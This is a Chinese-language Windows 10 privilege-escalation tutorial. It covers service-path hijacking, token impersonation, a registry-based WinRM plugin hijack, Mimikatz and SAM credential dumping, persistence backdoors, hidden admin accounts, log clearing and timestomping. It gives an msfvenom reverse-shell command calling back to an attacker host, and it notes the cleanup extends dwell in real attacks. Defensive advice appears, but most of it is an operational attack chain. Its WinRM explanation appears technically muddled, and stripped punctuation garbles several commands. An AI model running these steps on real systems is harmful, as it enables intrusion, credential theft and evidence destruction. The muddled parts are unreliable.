Windows 10提权实战:从服务路径漏洞到令牌窃取技术详解

发布时间:2026/7/14 6:57:09
Windows 10提权实战:从服务路径漏洞到令牌窃取技术详解 1. 项目概述与核心价值在Windows安全领域提权是一个永恒的话题。无论是渗透测试人员验证系统防御强度还是系统管理员排查潜在风险理解攻击者如何从一个普通用户权限“跃升”到系统管理员甚至SYSTEM权限都至关重要。今天我们就来深入拆解一个在Windows 10环境中非常经典且实用的提权实战路径从最初级的服务路径漏洞利用到相对高级的令牌窃取技术。这不仅仅是一份攻击手册更是一份给防御者的“体检清单”。通过理解这些攻击链的每一个环节你才能更有效地加固你的系统堵上那些看似不起眼却足以致命的安全缺口。我遇到过很多情况管理员拿到一个普通用户shell后觉得危害有限就放松了警惕殊不知攻击者正利用系统内各种配置瑕疵和设计特性一步步蚕食控制权。本文将基于实战经验详细解析几种在Windows 10版本21H2/22H2等常见环境中依然有效的提权方法并穿插大量实操中的注意事项和避坑指南。无论你是安全研究员、红队队员还是运维工程师这些内容都将帮助你构建更立体的攻防认知。2. 提权基础与环境准备2.1 理解权限模型与提权目标在Windows中权限是分层的。我们通常接触到的有普通用户权限受限最多只能访问自己的用户目录和部分系统资源。管理员权限拥有对系统绝大部分的控制权可以安装软件、修改系统设置。SYSTEM权限Windows内核和核心服务的运行权限高于管理员是本地系统的最高权限。提权的核心目标就是从当前较低权限如普通用户提升到更高权限管理员或SYSTEM。实现这一目标本质上是在寻找系统设计、配置或软件漏洞中存在的“特权执行”机会。这些机会允许我们以更高权限的身份去执行我们指定的代码。2.2 实战环境搭建与信息收集在开始任何提权尝试前系统性的信息收集是第一步。盲目操作不仅效率低下还可能触发安全告警。我们需要一个稳定的“立足点”通常是一个反弹回来的命令shell如cmd或PowerShell或者一个Webshell。首先我们需要全面了解当前环境。以下是一些关键命令我习惯将它们整理成一个脚本一次性运行# 系统信息 systeminfo hostname # 用户与权限信息 whoami /all # 查看当前用户详细信息、所属组、特权Privileges net user # 查看本地用户 net localgroup administrators # 查看管理员组成员 whoami /priv # 重点查看当前启用的特权如SeImpersonatePrivilege, SeAssignPrimaryTokenPrivilege等这些是令牌操作的关键。 # 网络信息 ipconfig /all netstat -ano # 查看网络连接和监听端口 # 进程与服务信息 tasklist /svc # 查看进程及其关联服务 sc query state all # 查看所有服务的详细状态 wmic service get name,displayname,pathname,startmode | findstr /v C:\Windows # 非系统路径的服务是重点排查对象 # 计划任务 schtasks /query /fo LIST /v # 文件与目录权限寻找可写目录 accesschk.exe -uws Everyone C:\Program Files # 使用Sysinternals的AccessChk工具需先上传 icacls C:\Program Files\* 2nul | findstr (F) (M) (W) # 使用系统自带icacls查找有完全控制、修改、写入权限的目录 # 安装的软件与补丁 wmic product get name,version wmic qfe get Caption,Description,HotFixID,InstalledOn # 查看已安装的补丁注意accesschk.exe是Sysinternals工具包的一部分在目标机器上可能不存在。你需要事先在你的攻击机上准备好对应架构x86/x64的版本并通过你的shell会话上传到目标机的可写目录如Temp中。上传方法取决于你的shell类型如PowerShell的Invoke-WebRequest或简单的echo重定向。信息收集完成后你会得到一份关于当前系统的“地图”。接下来我们将根据这张地图选择最有可能成功的攻击路径。3. 服务路径提权漏洞深度利用服务路径提权是Windows提权中最经典、也最容易被忽视的一种方式。其原理非常简单如果一个Windows服务是以SYSTEM或管理员等高权限运行的但其可执行文件Path to executable的路径指向一个普通用户拥有写入权限的目录那么攻击者就可以用恶意程序替换掉原有的合法程序。当服务重启或系统重启时高权限的服务进程就会加载并执行我们的恶意代码。3.1 漏洞发现与确认使用前面提到的wmic service或sc qc 服务名命令我们可以列出所有服务的二进制路径。我们需要重点关注那些路径不在C:\Windows及其子目录下的服务。因为系统目录的权限通常很严格。假设我们发现一个名为“VulnerableService”的服务其路径为C:\MyApp\service.exe。接下来我们需要检查这个路径的权限。# 使用icacls检查目录权限 icacls C:\MyApp如果返回结果中包含类似BUILTIN\Users:(OI)(CI)(W)或Everyone:(OI)(CI)(F)的条目就意味着“Users”组或“Everyone”对该目录有写入W或完全控制F权限。这是一个高危信号。更精确的方法是使用上传的accesschk.exeaccesschk.exe -wuvd C:\MyApp -accepteula-w参数会直接列出具有写入权限的用户和组。3.2 漏洞利用实战步骤一旦确认路径可写利用过程就清晰了制作恶意负载我们需要生成一个能给我们返回高权限shell的可执行文件。通常使用msfvenom或Cobalt Strike的Payload Generator。# 示例使用msfvenom生成一个反向TCP shell的exe msfvenom -p windows/x64/shell_reverse_tcp LHOSTYOUR_IP LPORT4444 -f exe -o malicious.exe上传并替换文件通过现有的shell会话将malicious.exe上传到目标机的可写目录比如C:\Temp然后将其复制并重命名为目标服务路径下的可执行文件名。# 在目标机的shell中操作 copy C:\Temp\malicious.exe C:\MyApp\service.exe /Y重要提示直接覆盖可能失败如果原服务正在运行文件可能被锁定。可以先停止服务但这样容易引起注意。更隐蔽的做法是如果原文件有备份或版本管理可以尝试利用其他漏洞。或者如果目录可写我们可以不覆盖原文件而是利用一个更隐蔽的技巧利用未引用的服务路径。利用未引用的服务路径Unquoted Service Path这是服务路径漏洞的一个变种甚至更常见。当服务路径包含空格且没有被引号括起来时Windows服务控制管理器SCM会按空格将其拆分成多个部分并依次尝试执行。 例如服务路径为C:\Program Files\My Tool\bin\service.exeSCM会按顺序尝试执行C:\Program.exeC:\Program Files\My.exeC:\Program Files\My Tool\bin\service.exe如果攻击者对C:\Program Files\My Tool\目录有写入权限他就可以在C:\Program Files\My Tool\目录下创建一个名为My.exe的文件。当服务重启时SCM会优先执行My.exe而不是真正的service.exe。# 检查未引用的服务路径 wmic service get name,displayname,pathname,startmode | findstr /i /v c:\\windows | findstr /i /v 找到后在相应的可写目录放置你的恶意My.exe即可。触发执行替换文件后需要等待服务重启。重启方式包括等待系统重启被动不推荐。手动重启服务需要相应权限可能没有。如果服务配置为自动重启且崩溃可以尝试让原合法程序崩溃如果可控。更常见的是寻找其他漏洞组合利用。例如如果有一个计划任务以高权限运行并调用了该服务或者有另一个服务可以控制该服务。接收Shell在攻击机上启动监听器如nc -lvnp 4444或Metasploit的multi/handler等待服务执行恶意文件后建立反向连接。3.3 实操心得与防御建议心得1权限检查要彻底。不仅要检查目标.exe文件的权限更要检查其所在目录乃至父目录的权限。icacls命令的递归检查很重要。心得2关注服务恢复选项。sc qfailure 服务名可以查看服务失败后的恢复操作。如果配置了“重启服务”那么让服务崩溃可能是一种触发方式。心得3利用工具自动化。像PowerUp.ps1PowerSploit模块或WinPEAS这样的脚本可以自动化发现服务路径、未引用路径、可写目录等问题极大提高效率。防御建议最小权限原则确保所有服务以所需的最低权限运行避免滥用SYSTEM账户。安全路径将自定义服务安装在权限严格的目录下如C:\Program Files\Company并确保该目录只有管理员和SYSTEM有写权限。使用引号始终在服务路径两端加上引号即使路径中没有空格。sc config 服务名 binPath \C:\Path With Spaces\service.exe\。定期审计使用上述命令或安全基线扫描工具定期检查系统中的服务配置。4. 令牌窃取与模拟技术解析如果说服务路径利用是“李代桃僵”那么令牌窃取就是“鸠占鹊巢”。令牌Token是Windows中表示进程或线程安全上下文的对象包含了用户身份、所属组和特权等信息。令牌窃取允许一个进程获取另一个高权限进程的令牌并以其身份执行操作。这是现代Windows渗透测试中极为重要的一环。4.1 令牌基础与关键特权在信息收集阶段whoami /priv命令的输出至关重要。我们需要关注以下两个关键特权SeImpersonatePrivilege模拟客户端令牌的权限。通常授予服务账户如NETWORK SERVICE、IIS APPPOOL*和本地管理员。SeAssignPrimaryTokenPrivilege分配主令牌的权限。通常授予本地系统账户和某些服务账户。如果当前用户启用了SeImpersonatePrivilege或SeAssignPrimaryTokenPrivilege那么令牌窃取的大门就已经打开了一半。在Windows 10/11的默认配置下许多服务账户都具备这些特权。4.2 经典漏洞利用PrintSpooler与Juicy Potato历史上最著名的令牌模拟漏洞利用是“Hot Potato”2016及其变种“Juicy Potato”。其核心思路是滥用Windows的DCOM/NTLM认证机制和特权账户的模拟能力欺骗系统生成一个高权限的令牌。虽然微软后续发布了补丁但其原理和变种在特定条件下仍有研究价值。更近一些的、在特定环境下依然可用的方法是利用Print Spooler服务的漏洞如CVE-2021-1675/CVE-2021-34527即PrintNightmare。该服务默认以SYSTEM权限运行且存在允许远程代码执行的漏洞。通过利用该漏洞可以直接获取SYSTEM权限的令牌或shell。但这需要服务未打补丁且启用。对于更通用的场景我们主要关注直接窃取现有进程令牌的方法。4.3 使用RogueWinRM进行本地令牌窃取这是一种在Windows 10/11上非常有效的本地提权方法尤其适用于拥有SeImpersonatePrivilege特权的情况例如你通过Web应用漏洞获得了一个iis apppool\defaultapppool的shell。其原理是WinRMWindows Remote Management服务在本地也会监听一个端口。我们可以通过修改注册表将WinRM的后端服务从合法的sshd或默认处理程序指向我们控制的恶意程序。当高权限用户或系统通过WinRM发起本地连接时例如某些计划任务或系统维护脚本会这样做我们的恶意程序就会以连接者的高权限身份被执行。实操步骤检查特权确认当前进程拥有SeImpersonatePrivilege。whoami /priv | findstr /i impersonate准备恶意负载生成一个能作为服务运行的恶意exe例如一个添加管理员用户的程序或者一个反向shell。这个程序需要能够处理WinRM传入的连接。通常可以使用MSFVenom生成一个windows/x64/exec的payload执行添加用户的命令。msfvenom -p windows/x64/exec CMDnet localgroup administrators lowprivuser /add -f exe -o rogue.exe上传与配置将rogue.exe上传到目标机。然后修改WinRM服务配置将其指向我们的恶意程序。这需要修改注册表。# 备份原始配置非常重要用于恢复 reg export HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN\Plugin\Microsoft.ServerManager C:\temp\backup.reg # 修改插件配置指向我们的恶意程序 reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN\Plugin\Microsoft.ServerManager /v ResourceUri /d * /f reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN\Plugin\Microsoft.ServerManager /v ConfigXML /d PlugIn xmlnshttp://schemas.microsoft.com/wbem/wsman/1/config/plugin NameMicrosoft.ServerManager FilenameC:\Temp\rogue.exe SDKVersion2 XmlRenderingTypetext UseSharedProcessfalse ProcessIdleTimeoutSec0 RunAsUser RunAsPassword AutoRestartfalse Enabledtrue OutputBufferingModeBlock /PlugIn /f警告此操作会破坏本地WinRM功能且非常容易被检测。仅用于授权的渗透测试环境。触发连接等待或触发一个高权限的WinRM本地连接。有时系统维护任务、部署脚本或其他服务会发起此类连接。也可以尝试重启WinRM服务来触发某些检查机制但这并不总是有效。sc stop WinRM sc start WinRM验证与恢复如果成功我们的rogue.exe将以SYSTEM或高权限用户身份运行执行添加用户等操作。完成后务必恢复注册表以免影响系统稳定性和留下明显痕迹。reg import C:\temp\backup.reg sc stop WinRM sc start WinRM4.4 使用Metasploit或Cobalt Strike的令牌命令在已经获得一个Meterpreter或Beacon会话即使是低权限的情况下利用内置命令进行令牌窃取是最方便的方式。在Meterpreter中# 列出所有进程 ps # 迁移到一个以SYSTEM或管理员权限运行的进程PID migrate PID_of_System_Process # 或者直接窃取令牌如果当前进程有SeDebugPrivilege通常需要先getsystem或迁移到有该权限的进程 use incognito list_tokens -u # 列出可用的令牌 impersonate_token NT AUTHORITY\\SYSTEM # 模拟SYSTEM令牌getsystem命令本身也利用了多种令牌模拟和命名管道漏洞尝试提权。在Cobalt Strike中在Beacon控制台可以直接使用steal_token PID命令来窃取指定进程的令牌。4.5 令牌操作的注意事项与防御注意事项1令牌类型。令牌分为主令牌Primary Token和模拟令牌Impersonation Token。窃取后通常获得的是模拟令牌可能在某些操作上受限如创建新进程。需要将其提升为主令牌在Meterpreter的incognito模块中有get_uid和impersonate_token的区分。注意事项2进程迁移。直接窃取令牌可能不稳定。更稳健的做法是先将我们的shell会话“迁移”migrate到一个稳定的、以目标权限运行的进程如lsass.exe,services.exe,winlogon.exe中然后再进行令牌操作。迁移的本质是将我们的代码注入到目标进程空间。注意事项3杀软拦截。进程注入Migration和令牌窃取是大多数终端检测与响应EDR系统的重点监控对象。需要配合免杀技术和绕过手法。防御建议特权剥离遵循最小特权原则审查并移除服务账户不必要的SeImpersonatePrivilege和SeAssignPrimaryTokenPrivilege。受控的令牌权限在Windows Server 2016和Win10 1607上可以使用“受保护的用户”组或通过组策略“网络访问限制命名管道和共享的匿名访问”来增加令牌模拟的难度。启用Credential Guard对于企业版能有效保护LSASS进程中的凭证阻止一些基于内存的令牌窃取。应用控制策略使用AppLocker或Windows Defender应用程序控制WDAC限制未授权程序的执行。监控与检测监控对lsass.exe等关键进程的访问尝试、异常的进程迁移行为以及SeDebugPrivilege特权的启用。5. 其他常见提权向量与组合利用除了上述两种主要方法Windows 10环境中还有其他值得关注的提权点它们常常可以作为“跳板”或“助攻”。5.1 计划任务Scheduled Tasks漏洞计划任务如果以高权限运行且其执行的操作如运行脚本、程序或工作目录Start in可以被低权限用户修改或影响就可能被利用。检查方法使用schtasks /query /fo LIST /v查看所有任务详情。关注Run As User字段和Task To Run字段。利用场景可写的任务脚本/程序如果任务运行一个位于可写目录下的.bat,.vbs,.ps1或.exe文件直接替换它。可写的工作目录如果任务的工作目录可写并且任务执行的程序会从该目录加载DLLDLL劫持或配置文件可以放置恶意DLL或篡改配置。不安全的任务操作有些任务可能直接执行cmd /c加上一个用户可控的参数。5.2 文件与目录权限配置错误这是最基础的提权方式之一但永远有效。可写的服务二进制文件同服务路径漏洞但可能只是单个文件可写而非整个目录。可写的系统启动项C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp所有用户启动目录如果可写放入的快捷方式或程序会在用户登录时执行。DLL劫持高权限程序在启动时会按一定顺序搜索DLL。如果它将一个可写的目录如当前目录放在系统目录之前搜索并且缺少某个DLL攻击者就可以放置一个恶意DLL在那里实现提权。使用Process MonitorProcMon工具可以分析程序的DLL加载顺序。5.3 注册表键权限配置错误Windows服务和驱动程序的配置都存储在注册表中。如果低权限用户对某个服务的ImagePath注册表键有写权限就可以修改其路径指向恶意程序。检查位置HKLM\SYSTEM\CurrentControlSet\Services\ServiceName检查命令使用accesschk.exe或subinacl检查注册表键的权限。accesschk.exe -kvu hklm\system\currentcontrolset\services\VulnerableService -accepteula利用方法修改ImagePath值然后重启服务或系统。5.4 利用第三方软件漏洞这是“杀伤链”中常见的一环。运行在高权限下的第三方软件如杀毒软件、管理工具、驱动如果存在本地权限提升漏洞可以直接利用。信息收集wmic product get name,version和driverquery。搜索公开漏洞根据收集到的软件名称和版本号在Exploit-DB、GitHub、CVE数据库等地方搜索已知的本地提权LPE漏洞。常用工具Watson、WinPEAS、Windows-Exploit-Suggester等工具可以自动识别系统补丁缺失情况并建议可能适用的公开漏洞利用代码。6. 提权后的操作与痕迹清理成功提权到SYSTEM或管理员后我们的目标通常不仅仅是获得一个shell而是为了达成更深度的目标如获取凭证、横向移动、建立持久化等。6.1 获取凭证与哈希这是内网渗透的关键一步。从LSASS进程抓取使用Mimikatz是最经典的方法。在Meterpreter中可以直接使用load kiwi旧版为load mimikatz然后运行creds_all或lsa_dump_sam。注意现代Windows系统Win10 1607 Server 2016默认启用“受保护的进程”Protected Process Light和“凭据保护”Credential Guard会极大地增加从LSASS直接读取内存的难度。需要先绕过这些保护。从SAM和SYSTEM文件读取如果可以直接访问C:\Windows\System32\config\SAM和C:\Windows\System32\config\SYSTEM文件需要SYSTEM权限可以将其导出到本地使用secretsdump.pyImpacket套件或pwdump等工具离线提取哈希。# 在目标机上需要SYSTEM权限 reg save HKLM\SAM C:\Temp\sam.save reg save HKLM\SYSTEM C:\Temp\system.save # 然后下载这两个文件到攻击机进行破解。从进程内存和票据使用Mimikatz的sekurlsa::logonpasswords和sekurlsa::tickets可以获取当前登录会话的明文密码和Kerberos票据TGT/TGS。黄金票据Golden Ticket和白银票据Silver Ticket攻击也需要在拥有域控的KRBTGT账户哈希或服务账户哈希后才能进行。6.2 建立持久化后门为了防止会话丢失需要建立多个持久化通道。服务后门创建一个新的自启动服务指向我们的恶意负载。sc create BackdoorService binPath C:\Temp\malware.exe start auto sc config BackdoorService obj LocalSystem password 计划任务后门创建定时执行的计划任务。schtasks /create /tn DailyMaintenance /tr C:\Temp\malware.exe /sc daily /st 09:00 /ru SYSTEM注册表启动项在HKLM\Software\Microsoft\Windows\CurrentVersion\Run下添加键值。WMI事件订阅一种更隐蔽的持久化方式通过WMI监听系统事件如开机、特定进程启动来触发执行。影子账户创建一个隐藏的管理员账户用于后续登录。6.3 痕迹清理在授权的渗透测试中清理痕迹是职业操守的一部分在真实攻击中这是延长驻留时间的关键。删除日志重点是安全日志Security、系统日志System和应用日志Application中与攻击相关的条目。可以使用wevtutil命令。wevtutil cl security wevtutil cl system注意清空整个日志文件行为异常更精细的做法是使用Meterpreter的clearev命令或编写脚本过滤删除特定事件ID的记录。恢复文件与配置如果修改了服务路径、注册表等在测试完成后应尽量恢复原状。删除上传的工具删除上传的accesschk.exe、mimikatz.exe、恶意负载等文件并使用sdelete等工具进行安全擦除防止文件恢复。清除时间戳使用timestomp等工具修改创建的恶意文件的访问、修改、创建时间使其与系统其他文件时间戳一致。7. 防御加固与安全建议从防御者视角回顾整个攻击链我们可以制定出更有效的防护策略。严格的权限管理遵循最小权限原则服务账户绝不使用SYSTEM或Administrator创建专用低权限账户。定期审计用户、组和服务账户的权限移除不必要的特权如SeDebugPrivilege,SeImpersonatePrivilege。使用组策略限制本地登录、网络访问等权限。安全的服务配置为所有服务使用完整的、带引号的二进制路径。将服务安装目录的权限设置为仅管理员和SYSTEM可写用户只读执行。禁用不必要的系统服务。及时更新与补丁管理建立严格的补丁管理流程确保操作系统和第三方软件及时更新。可以利用wmic qfe list或Get-HotfixPowerShell定期核查。对于无法及时打补丁的系统应评估并实施相应的缓解措施如禁用易受攻击的功能组件。启用高级安全功能Windows Defender Credential Guard有效防御基于LSASS内存的凭证窃取。受保护进程PPL保护关键安全进程。攻击面减少规则ASR通过组策略或Defender安全中心启用规则阻止Office宏、可执行文件创建、LSASS注入等常见攻击行为。应用控制策略使用AppLocker或WDAC只允许授权签名的代码运行。强化的文件与注册表权限定期使用扫描工具或脚本检查关键目录如Program Files,Windows\System32和注册表键如服务键的权限是否被不当放宽。限制用户对启动目录、计划任务目录的写入权限。深入的监控与检测启用详细的审核策略记录关键事件如进程创建、服务安装、权限使用、注册表修改。部署SIEM系统集中分析日志建立针对提权行为的检测规则例如非管理员用户尝试修改服务配置、异常进程迁移、Mimikatz相关进程创建等。使用终端检测与响应EDR解决方案实时监控进程行为、内存操作和网络活动。理解攻击是为了更好的防御。这套从服务路径到令牌窃取的提权链条几乎涵盖了Windows本地权限提升的半数以上场景。在实际的渗透测试或安全评估中往往需要将多种技术串联起来从一个微弱的立足点逐步扩大战果。而作为防御方则需要层层设防确保攻击者在任何一环都难以突破从而构建起真正纵深有效的安全防线。